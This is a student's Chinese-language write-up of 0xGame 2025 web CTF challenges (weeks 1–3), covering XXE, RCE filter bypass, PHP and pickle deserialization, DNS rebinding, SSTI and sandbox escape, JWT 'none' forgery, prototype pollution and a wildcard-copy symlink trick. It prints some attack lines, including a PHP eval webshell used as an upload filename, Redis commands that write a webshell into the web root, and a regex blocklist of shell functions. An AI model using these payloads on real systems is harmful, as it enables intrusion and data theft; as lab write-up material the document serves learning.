0xGame2025-web
Web
菜鸡的week1-week3 web的wp(可能会有些错误:((
对Pure Stream师傅爱了爱了
Week 1
Lemon
提示查看源码,其禁用了右键和F12,
使用ctrl+U查看源码,或者使用浏览器三个横线处的更多工具打开源码
获取flag
留言板(粉)
登录界面,弹出invalid
查看源码发现不管输啥都会弹出Invaild username or password!
猜测是弱口令
开始爆破
根据其文件名xxxxmleee.php,浏览器标签xxe可能是xml注入,再输入1测试,发现报错信息DOMDocument::loadXML()
1 | |
flag
revenge
没啥区别(题目说明修复了非预期,那么上面的应该就是预期解
RCE
1 | |
其需传递三个参数rce1,rce2,rce3,且代码中有eval函数应该是要用到这个函数
1 | |
首先rce1,rce2要绕过md5的强类型比较(使用数组)
绕过成功,rce3其过滤了很多关键字/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i
其将大部分关键词都过滤了,且过滤了system函数,学了半天,找到内联函数
1 | |
发现只有index.php文件,查询flag位置,其在/flag下
使用c\at /fla\g得到flag
HTTP原理
使用hackbar实现,修改url实现get传参
post传参
修改cookie
修改UA头
修改refer值
添加Via头,获取flag
Rubbish_Unser
打开发现是php反序列化的漏洞(好长
首先找到eval函数,这应该就是最终的利用点,复制到本地编译器,
分析其利用的逻辑(学了好久
1 | |
先是创建ZZZ其在销毁时会调用__destruct,__destruct中echo输出$yuzuha,将yuzuha设置为对象的话就会调用toString方法,toString中tks()是未定义的方法会调用__call,call中return $Charlotte();将Charlotte定义为对象的话,其就是将对象作为函数使用会调用__invoke,__invoke中if条件判断通过后的guanxing -> Elysia为未定义的属性会调用__get方法从而达到eval函数
写的时候是倒着来
1 | |
哭了最后时间在本地测试通过,到题目环境时却没有回显,刷新界面时,发现到时间了,题目没了:(((
复现
复现时看了好久,发现wp与我就多了个$c=array($b,0),搜索了好久才懂,
是因为源码中在反序列话后有个throw new Exception("Rubbish_Unser"),
正常我们的链子是利用ZZZ->__destruct方法,但在这里会突然抛出异常,使我们无法触发__destruct方法,所以要绕过这个——即提前触发__destruct方法
原理:
在PHP中,使用
引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向
时,它就会被变成垃圾,被GC机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点
所以我们这里的话来试一下反序列化一个数组,然后写入第一个索引为对象,将第二个赋值为0,看一下能否触发,即下面payload中的$c=array($b,0);这步,打印下来如下
1 | |
再将这个序列化数据进行url编码,至于为何要url编码(好像是因为可能会有些特殊字符会截断数据?
1 | |
1 | |
Week 2
你好,爪洼脚本
打开是一堆颜文字
根据题目提示替换
替换,为,
删除空格
粘贴后显示flag不对((
其实刚开始就感觉这段颜文字有问题,感觉像是一段代码,后搜索得知这是JavaScript 代码混淆技术
具体来说,它属于 AAEncode —— 一种将 JavaScript 代码编码为由颜文字(kaomoji)和特殊符号组成的“看似乱码”的形式
使用在线解码工具
解码后得到alert(“Hello, JavaScript”),再将,改为,包裹0xGame{}发现不行
试了好多遍,发现是0xGame{Hello,JavaScript}
复现
wwww
直接在浏览器控制台运行即可,再修改逗号和空格
DNS想要玩
直接查看源码,
一眼看到/ssrf的路由,再结合blacklist中的过滤(符合ssrf的过滤),刚开始以为是ssrf漏洞((
仔细看代码发现并不然,代码中仅仅有获取url和检测url是否在黑名单中的操作,但url并没有发送请求,再看代码发现return os.popen(request.args.get('cmd')).read(),最后利用点应该在这。
但其需要通过check(raw_url)的判断,才能到这步,而check()函数中需要 socket.gethostbyname(host_acscii) == ‘114.5.1.4’,即输入的url经过DNS解析后需等于114.5.1.4
使用在线的DNS重定向网站rbndr.us dns rebinding service
其有first IP(A)和Second IP(B),询问ai得知其——在 rbndr.us(DNS 重绑定服务)中,First IP 的作用是「绕过黑名单或初始安全检查」,而 Second IP 才是真正触发漏洞逻辑的目标 IP。
在 rbndr.us 的实现中,第一次 DNS 查询返回 First IP,第二次立即返回 Second IP。主要用于复杂的DNS重定向
本题first IP可填8.8.8.8—任意公网
尝试构造payload:url=网站提供的&cmd=cat /flag
马哈鱼商店
注册一个账号,再登录
发现flag,果断购买
发现是假的flag(
抓包分析,发现其会传递pid和discount两个参数,再看vamos界面的源码,可知pid即为每个商品的编号,discount猜测是打折
将discount参数改为0.0001折,发送得到/shop_success
点击here
进入pickle_dsa
查看源代码
1 | |
传了巨多次参数一直报错500(((((((((
问ai才知道利用点在pickle.loads(),这是python的反序列化漏洞
pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。
构造payload
传参后返回32512?
复现
前面都和我写的一样,就最后的pickle反序列化没搞出来
读取环境变量即可
1 | |
404NotFound
直接查看/flag,发现不行
根据题目提示SSTI漏洞,但没有发现参数,直接尝试/49
发现其回显/49,查看str类
发现其显示这个页面,应该是payload中一些东些被过滤了,
尝试拼接class绕过,结果一次就成了
于是将所有的关键词都用这种方式拼接,得到其所有子类
搜索os,发现可以利用的<class ‘os._wrap_close’>类,但这么多一个个数到这个类不太现实,突然发现每个类中间有一个逗号,xixi
从0开始,那么应该是[155],验证一下没有问题
接下来就是将payload拼接绕过,执行cat /flag
得到flag
Plus_plus
查看源代码
发现需使用传参?0xGame后得到
可以看出利用点在eval函数
思路:get传递随意参数0xGame,post传递web,web长度<=120且为字符串,并且web中不能有
1 | |
根据题目提示想着用自增
构造半天传入后发现返回NONONO,发现过滤了’和”,于是直接去掉引号,又太长了
于是从H重新开始构造,
没招了……还是tooooooo long,终究还是差一步吗(((
复现
当时只想着构造phpinfo();了,也不知道当时咋想的为何不换个函数构造呢(((
1 | |
把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次
- 学到了利用chr()构造,比我之前那个库库的无脑+确实缩短了很多
- 还有
$_=[]._,比我的$_=''.[]确实短了一个字符?- 还有一些赋值的如:
$_0=$_++;,我之前用的$__++;$_0=$_
我只要你的PNG!
查看源码发现check.php
发现flag
访问后返回至上传界面
复现
上传文件后,查看check.php页面,其回显了文件名,但我当时只想到上传成功了,直接用蚁剑连接,没能成功
官方WP中,其是利用文件名写入一句话木马,上传一个正常的png图片,抓包修改文件名为<?php eval($_POST['1']); ?>1.png,再用antsword连接
这真的是反序列化
当时没写
复现
1 | |
发现其并没有魔术方法,又学到了新东西
代码中$this->pwn = new $this->web($this->misc, $this->crypto);使用了一个不存在的方法,其会调用__call(),利用soapclient类,触发他的__call()来实现反序列化漏洞,
1 | |
其中$poc部分为redis的写入文件命令,AUTH 20251206是先执行
AUTH命令验证密码
1
2
3
4CONFIG SET dir /var/www/html\r\n
CONFIG SET dbfilename shell.php\r\n
SET webshell "<?= @eval(\$_POST[1]) ?>\r\n"\r\n
SAVERedis 会在 /var/www/html 下生成 shell.php,包含一句话木马
用蚁剑连接,再查看环境变量env即可得到flag(没复现成功(((
Week3
长夜月
register一个用户
不是管理员
注册admin,发现admin用户存在,于是想着弱口令爆破
爆破后发现一个都不对
后面再看时发现增加附件了,其check时仅仅判断token中的username并不会看password
需要修改token中username
先修改头部加密为none,将第一部分base64解码,修改后再base64编码替换原来的第一部分
修改成功
接下来再同样方法修改第二部分,将username改为admin
再将第一部分改为原来的
但是,仅仅修改token想通过login是不行的,其会验证密码,再看/login的源码,发现最终应该是要进入/admin_club1st,不是管理的话(直接访问)会进入/trailblazer
因此我尝试直接跳过login,利用伪造的token进入/admin_club1st(成功了)
发现merge函数,应该是原型链污染
所以要使用post传递一个污染的值
1 | |
0xGame{Back_to_Earth_in_Evernight}
消栈逃出沙箱(1)反正不会有2
上来就是一堆代码
先随便传个值看看
查看源码,再根据题目提示应该要绕过沙箱(没听过,搜索半天发现和ssti模板注入的利用方法好像,先不管了……
直接先看子类,发现返回No output
再看源代码
1 | |
查找含有os模块的
从0开始,索引是155
检查一下,没有问题
利用其执行命令
刚开始尝试data=print(''.__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['system']('ls')),仅仅返回0,
记忆中好像有个read()可以输出结果的,刚开始修改后面的为…['os'].popen('id').read(),返回Error:’os’(((不知道为什么不给用
哦哦哦哦哦,哦哦哦哦哦
hhhh,懂了学到了
os._wrap_close是os模块里定义的一个类,所以它的__init__方法的__globals__就是os模块的全局命名空间,所以这个字典里直接包含了popen、system、sep等函数和变量,所以不需要写[‘os’]来调用os模块,而是直接调用其中的函数如:[‘popen’]、[‘system’]……,沾一张图![]()
换成了globals中的popen
但是新的问题又来了,/被过滤了,而且ls也没看到flag在哪(((((((
把所有的文件夹都看了还是没找到((((((
hhhh问了ai常见的flag地址,才知道还可能在环境变量中:)))
0xGame{StackFrame_Wanna_Escape_Now}
复现
看了wp发现好像和我写的有很大区别啊,我写的竟然还是个非预期解hhhh
purestream爱了爱了,同时得知lamentxu师傅才高三,tql,orz
预期解:
常规的逃逸
1 | |
1 | |
但是题中过滤了next,仅可以使用whitelist中函数print,list,len,Exception
所有这题使用Exception的异常栈帧逃逸
1 | |
int(''):主动触发异常,这里因为”/“在黑名单中,所以不能用”1/0”
e.__traceback__:获取异常的 traceback 对象(记录异常发生时的调用栈)
e.__traceback__:获取异常的 traceback 对象(记录异常发生时的调用栈)
文件查询器(蓝)
又学到了:))
hhhhh,输入upload.php,得到一长串base64,解码得到源码
1 | |
1 | |
应该是利用file_get_contents的phar反序列化,再根据上面upload.php和index.php的代码可知,
- 文件后缀名应该为”jpg”, “png”, “pdf”
- 文章内容中不能有__HALT_COMPILER();
- 且HG2不能为/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir这些函数
- 且文件名不能为/‘[$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>
构造phar反序列化
1 | |
首先要将php.ini中的phar.readonly=0或者是off,否则无法生成phar文件
下面的命令是ai教我的,即仅这个操作将其设置为0,不影响以后的
注:
此处会直接生成phar.phar和phar.phar.gz两个文件,因为我们的php文件中添加了一句
$phar->compress(Phar::GZ);有些文章是没有这句的,那么就要再执行一行命令,将其压缩
gzip phar.phar就会生成phar.phar.gz
在上传时,抓包修改文件后缀名为png绕过过滤
然后放包,可以看到上传成功的字样
然后利用下面的查询文件,但是并不是直接输入phar.phar.png,而是要加上phar://来查询
PHP 通过
phar://流 wrapper 读取 Phar 文件时,会自动解析 metadata 并反序列传入后即为file_get_contents(“phar://upload/phar.phar.png”);
咋没有flag,可能是flag不在/flag这个位置
重新传个ls,但是只有upload.php
果然又在环境变量中:))))
0xGame{Y0u_Are_Rea11y_a_Ph4r_G0d!}
放开我的变量
没做出来
复现
查看robots.txt
1 | |
wp中说有非法变量名,好像没有吧?
直接传个后门文件,连接蚁剑,在根目录发现flag,但是打开是空的
使用命令读取,发现没有权限
ps -aux查看进程
发现star.sh在执行,打开
代码解释:
1
2
3
4
5
6
7
8
9
10
11#!/bin/bash
cd /var/www/html/primary #进入这个目录
while : #永真条件
do
cp -P * /var/www/html/marstream/ #使用cp命令的 -p 将/var/www/html/marstream/下使用*通配符来匹配文件并复制
chmod 755 -R /var/www/html/marstream/ #并将权限改为755——可读可执行
sleep 5s #每5秒复制一遍
done &
exec apache2-foreground通配符提权,使用通配符打包时,如果文件名和命令的参数相同时 会导致其作为函数参数,执行相应的命令
![]()
payload
1 | |
解释:
touch – -H //echo “” > -H 创建名为-H的文件
ln -s /flag ff 创建短链接将根目录的/flag与ff文件相连
cat /var/www/html/marstream/ff 查看
其中-H参数可以通过短链接复制链接所指向的文件
这真的是文件上传
复现
Week4
本人太菜了……w4对于我来说简直是天书
其中-H参数可以通过短链接复制链接所指向的文件